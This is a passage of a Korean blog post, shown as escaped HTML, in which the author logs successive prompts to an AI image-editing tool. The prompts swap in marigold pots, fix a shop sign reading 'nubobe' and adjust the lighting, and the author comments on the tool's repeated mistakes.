loading=&quot;lazy&quot; width=&quot;725&quot; height=&quot;452&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기까지 좋았는데.&amp;nbsp;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;friends1&quot; data-emoticon-name=&quot;016&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/016.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/016.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번 째 이미지작업하는데 .&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2686&quot; data-origin-height=&quot;1912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WQlOk/dJMcafyHerN/0nHqnmMI6OetndLNq1ZKN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WQlOk/dJMcafyHerN/0nHqnmMI6OetndLNq1ZKN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WQlOk/dJMcafyHerN/0nHqnmMI6OetndLNq1ZKN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWQlOk%2FdJMcafyHerN%2F0nHqnmMI6OetndLNq1ZKN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;377&quot; data-origin-width=&quot;2686&quot; data-origin-height=&quot;1912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;화질을&amp;nbsp;높여줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1760&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg5ly0/dJMcacIJI3M/jKGpZMTKLVC1OeNRlqvOeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg5ly0/dJMcacIJI3M/jKGpZMTKLVC1OeNRlqvOeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg5ly0/dJMcacIJI3M/jKGpZMTKLVC1OeNRlqvOeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg5ly0%2FdJMcacIJI3M%2FjKGpZMTKLVC1OeNRlqvOeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;614&quot; data-origin-width=&quot;1934&quot; data-origin-height=&quot;1760&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.신발대신&amp;nbsp;시간이&amp;nbsp;지난&amp;nbsp;오래된&amp;nbsp;만수국&amp;nbsp;화분을&amp;nbsp;넣어주고&amp;nbsp;간판&amp;nbsp;글자는&amp;nbsp;nubobe로&amp;nbsp;바꿔줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;1362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpQcpW/dJMcagqOymI/Bgu47AIeSawyIU9OkcTlu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpQcpW/dJMcagqOymI/Bgu47AIeSawyIU9OkcTlu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpQcpW/dJMcagqOymI/Bgu47AIeSawyIU9OkcTlu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpQcpW%2FdJMcagqOymI%2FBgu47AIeSawyIU9OkcTlu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;525&quot; data-origin-width=&quot;1690&quot; data-origin-height=&quot;1362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp; 간판이&amp;nbsp;nuboe&amp;nbsp;가&amp;nbsp;아니라&amp;nbsp;nubobe&amp;nbsp;입니다&amp;nbsp;다시&amp;nbsp;수정해줘&amp;nbsp;그리고&amp;nbsp;꽃&amp;nbsp;봉오리는&amp;nbsp;첨부한&amp;nbsp;이미지&amp;nbsp;참고하여&amp;nbsp;꽃&amp;nbsp;바꿔줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DZtaw/dJMcabiLu1W/osiNLTc1Gtco3jUVkGMby1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DZtaw/dJMcabiLu1W/osiNLTc1Gtco3jUVkGMby1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DZtaw/dJMcabiLu1W/osiNLTc1Gtco3jUVkGMby1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDZtaw%2FdJMcabiLu1W%2FosiNLTc1Gtco3jUVkGMby1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;160&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 화분이&amp;nbsp;이상한데&amp;nbsp;꽃만&amp;nbsp;따다가&amp;nbsp;해줘&amp;nbsp;&amp;nbsp;배경과&amp;nbsp;화분&amp;nbsp;부분&amp;nbsp;이상하니&amp;nbsp;다듬어줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;1384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBBstm/dJMcaaYrbR2/aFj8DpeHeuYBlgPT9zp3k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBBstm/dJMcaaYrbR2/aFj8DpeHeuYBlgPT9zp3k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBBstm/dJMcaaYrbR2/aFj8DpeHeuYBlgPT9zp3k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBBstm%2FdJMcaaYrbR2%2FaFj8DpeHeuYBlgPT9zp3k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;489&quot; data-origin-width=&quot;1652&quot; data-origin-height=&quot;1384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;friends1&quot; data-emoticon-name=&quot;015&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/015.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/015.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꽃을 잘라 버렸어요. 툭 잘라 버렸어요.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;7.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;화분이&amp;nbsp;이상한데&amp;nbsp;꽃만&amp;nbsp;따다가&amp;nbsp;해줘&amp;nbsp;&amp;nbsp;배경과&amp;nbsp;화분&amp;nbsp;부분&amp;nbsp;이상하니&amp;nbsp;다듬어줘&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1670&quot; data-origin-height=&quot;1480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PvFx1/dJMcac2YRbf/TwdLdTyQlpQjwFXg0PEh2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PvFx1/dJMcac2YRbf/TwdLdTyQlpQjwFXg0PEh2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PvFx1/dJMcac2YRbf/TwdLdTyQlpQjwFXg0PEh2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPvFx1%2FdJMcac2YRbf%2FTwdLdTyQlpQjwFXg0PEh2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;690&quot; height=&quot;611&quot; data-origin-width=&quot;1670&quot; data-origin-height=&quot;1480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번엔 화분을 지웠버렸다.&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;friends1&quot; data-emoticon-name=&quot;040&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/040.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/040.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마음을 가다듬고. ( 강의 샘이 여러번 해야 할수 있다고 하셨는데 정말.. ~)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. 화분을&amp;nbsp;넣어줘&amp;nbsp;꽃만&amp;nbsp;떠있으니&amp;nbsp;유령&amp;nbsp;같아&amp;nbsp;그리고&amp;nbsp;꽃방향은&amp;nbsp;중앙&amp;nbsp;햇빛을&amp;nbsp;향하게&amp;nbsp;하고&amp;nbsp;골목이&amp;nbsp;조명톤과&amp;nbsp;맞추어줘.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8a5R/dJMcagEnIU6/yeRB02WeE7HMwbFSBAWruk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8a5R/dJMcagEnIU6/yeRB02WeE7HMwbFSBAWruk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8a5R/dJMcagEnIU6/yeRB02WeE7HMwbFSBAWruk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8a5R%2FdJMcagEnIU6%2FyeRB02WeE7HMwbFSBAWruk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;573&quot; height=&quot;584&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. 어떤 꽃은 줄기가 없는 꽃 지워줘 사진에 첨부한 꽃들이야&amp;nbsp; (이전 프롬프트 수정은 되지만 첨부가 안된다. 이러~ㄴ)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRPWfj%2FdJMcac2YRfl%2FxHhdSrK4ki8Q4Jg379uSM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;549&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 꽃을 지우네&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.&amp;nbsp; 어떤 꽃은 줄기가 없는 꽃 지워줘 사진에 첨부한 꽃들이야&amp;nbsp; + 이미지 첨부&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1250&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bASh5f/dJMcaia7jmn/rXwK3vDT9AQeYzaQwtz3hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bASh5f/dJMcaia7jmn/rXwK3vDT9AQeYzaQwtz3hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bASh5f/dJMcaia7jmn/rXwK3vDT9AQeYzaQwtz3hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbASh5f%2FdJMcaia7jmn%2FrXwK3vDT9AQeYzaQwtz3hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;144&quot; data-origin-width=&quot;1250&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRPWfj/dJMcac2YRfl/xHhdSrK4ki8Q4Jg379uSM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRPWfj%2FdJMcac2YRfl%2FxHhdSrK4ki8Q4Jg379uSM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;549&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11. 어떤&amp;nbsp;꽃은&amp;nbsp;줄기가&amp;nbsp;없는&amp;nbsp;꽃&amp;nbsp;지워줘&amp;nbsp;사진에&amp;nbsp;첨부한&amp;nbsp;꽃들이야&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/205zl/dJMcah4k6XF/tIn0LNyMx6YfqbxRpIjdRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/205zl/dJMcah4k6XF/tIn0LNyMx6YfqbxRpIjdRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/205zl/dJMcah4k6XF/tIn0LNyMx6YfqbxRpIjdRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F205zl%2FdJMcah4k6XF%2FtIn0LNyMx6YfqbxRpIjdRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;451&quot; height=&quot;203&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1764&quot; data-origin-height=&quot;1196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7eHrM/dJMcaiB8JyO/Ev6Eeskikr5pnPWPL26Kz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7eHrM/dJMcaiB8JyO/Ev6Eeskikr5pnPWPL26Kz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7eHrM/dJMcaiB8JyO/Ev6Eeskikr5pnPWPL26Kz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7eHrM%2FdJMcaiB8JyO%2FEv6Eeskikr5pnPWPL26Kz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;381&quot; data-origin-width=&quot;1764&quot; data-origin-height=&quot;1196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;컨텍스트 넘어간것 같다. 다시 해야 겠다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. 첫번째&amp;nbsp;이미지의&amp;nbsp;노란색&amp;nbsp;꽃을&amp;nbsp;두번째&amp;nbsp;이미지&amp;nbsp;꽃으로&amp;nbsp;바꿔줘&amp;nbsp;.&amp;nbsp;바꾸는&amp;nbsp;꽃의&amp;nbsp;조명은&amp;nbsp;골목과&amp;nbsp;맞춰워줘.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wbMnT/dJMcacPvxhL/pIkEn7UIR82XCkeCi8luM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wbMnT/dJMcacPvxhL/pIkEn7UIR82XCkeCi8luM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wbMnT/dJMcacPvxhL/pIkEn7UIR82XCkeCi8luM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwbMnT%2FdJMcacPvxhL%2FpIkEn7UIR82XCkeCi8luM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;648&quot; height=&quot;180&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beqo3i/dJMcaaqBOCc/nqdR62NYLlsdvBQ6OSKJpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beqo3i/dJMcaaqBOCc/nqdR62NYLlsdvBQ6OSKJpk/img.png&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;1728&quot; data-is-animation=&quot;false&quot; style=&quot;width: 37.6071%; margin-right: 10px;&quot; data-widthpercent=&quot;38.05&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beqo3i/dJMcaaqBOCc/nqdR62NYLlsdvBQ6OSKJpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbeqo3i%2FdJMcaaqBOCc%2FnqdR62NYLlsdvBQ6OSKJpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1392&quot; height=&quot;1728&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/STyoS/dJMcaiWrphw/B9WsoQkYKMZnS8KtjoSRJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/STyoS/dJMcaiWrphw/B9WsoQkYKMZnS8KtjoSRJ1/img.png&quot; data-origin-width=&quot;2290&quot; data-origin-height=&quot;1746&quot; data-is-animation=&quot;false&quot; style=&quot;width: 61.2301%;&quot; data-widthpercent=&quot;61.95&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/STyoS/dJMcaiWrphw/B9WsoQkYKMZnS8KtjoSRJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSTyoS%2FdJMcaiWrphw%2FB9WsoQkYKMZnS8KtjoSRJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2290&quot; height=&quot;1746&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화분이 커졌다.&amp;nbsp; 아 간판..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13. 간판&amp;nbsp;글자&amp;nbsp;nuboe인데&amp;nbsp;nubobe로&amp;nbsp;바꾸어줘.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1018&quot; data-origin-height=&quot;998&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUkLyS/dJMcahiYTyU/jyGtc5Znamu8wKueY5XOa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUkLyS/dJMcahiYTyU/jyGtc5Znamu8wKueY5XOa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUkLyS/dJMcahiYTyU/jyGtc5Znamu8wKueY5XOa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUkLyS%2FdJMcahiYTyU%2FjyGtc5Znamu8wKueY5XOa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;600&quot; data-origin-width=&quot;1018&quot; data-origin-height=&quot;998&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;못바꾸네. 이런.&amp;nbsp;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;friends1&quot; data-emoticon-name=&quot;045&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/045.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/045.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14. 사진속&amp;nbsp;영어간판을&amp;nbsp;한글&amp;nbsp;누보베로&amp;nbsp;바꿔줘&amp;nbsp;새로타입으로&amp;nbsp;해줘&amp;nbsp;&lt;/p&gt;
